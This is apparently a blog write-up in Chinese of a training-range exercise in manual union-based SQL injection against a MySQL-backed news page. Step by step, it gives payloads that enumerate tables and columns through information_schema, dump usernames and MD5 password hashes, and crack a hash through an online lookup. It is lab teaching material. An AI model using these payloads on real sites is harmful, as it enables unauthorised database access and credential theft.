• SQL手工注入漏洞测试(MySQL数据库)


    使用墨者学院靶场测试

    先浏览页面判断存在注入 >查长度>查数据库>查表>查字段>查数据数量>查用户+密码>解密登录 找不到可注入点可以观察网页是否可以跳转到其他页面,并重新寻找注入点,查询的时候尽量使用group_concat()防止漏数据。

    (1. 登录页面没有账号密码,只能暴破或者SQL注入数据库查看帐号密码 2. 发现公告中存在注入点 3. 通过数据库函数和显示位查看数据库版本信息、数据库名 4. 爆数据库表名 5. 暴数据库列名 6. 输出帐号密码列(使用group_concat()函数) 7. 发现密码有点像MD5加密,去解密下 8.登录帐号和解密后的密码 9.获取key)

    1、寻找注入点 “id=1 and 1=1 ”或者“id=1 and 1=2 ”,1=2时弹出错误证明是注入点:

    id=0 union select 1,2,3,4 (2回显字段)

    2、判断注入类型(数字型、字符型)
    3、order by x判断列的数量(4字段)
    4、联合查询 union select 判断2,3存在回显

    5、查数据库名和用户名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,database(),user(),4

    6、查版本和系统:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,version(),@@version_compile_os,4

    image.png

    查出数据库版本在5.0以上可以使用内置库

    7、查表名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,table_name,3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

    8、使用group_concat(table_name)查询所有的表名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

    9、查出某表中所有列名

    //124.70.22.208:48927/new_list.php?id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

    10、查出该表需要的列的具体值

    //124.70.22.208:48927/new_list.php?id=0 union select 1,name,password,4 from StormGroup_member limit 0,1

    经测试不对!可能是其它行的账号。

    11、那就用group_concat查出所有行的数据

    //124.70.22.208:48927/new_list.php?id=0 union select 1,1,group_concat(name),group_concat(password),4 from StormGroup_member

    原来有两行数据,测试第二个才对。

    12、将密文到https://www.cmd5.com/查询,结果就是密码:

  • 相关阅读:
    maven
    大数据培训之phoenix的索引分类
    【信号处理】Matlab实现CDR-based噪声和混响抑制
    灰色预测GM(1.1)模型及matlab程序负荷预测
    秋招—文思海辉笔试题
    java计算机毕业设计西安市城市绿地管理系统源程序+mysql+系统+lw文档+远程调试
    威伦触摸屏TK6060IP简单例子
    VOIT Automotive EDI项目案例
    iOS xcframework项目提示“ld: framework not found”
    28-k8s集群中-StatefulSets控制器(进阶知识)
  • 原文地址:https://blog.csdn.net/chinacqzgp/article/details/126918799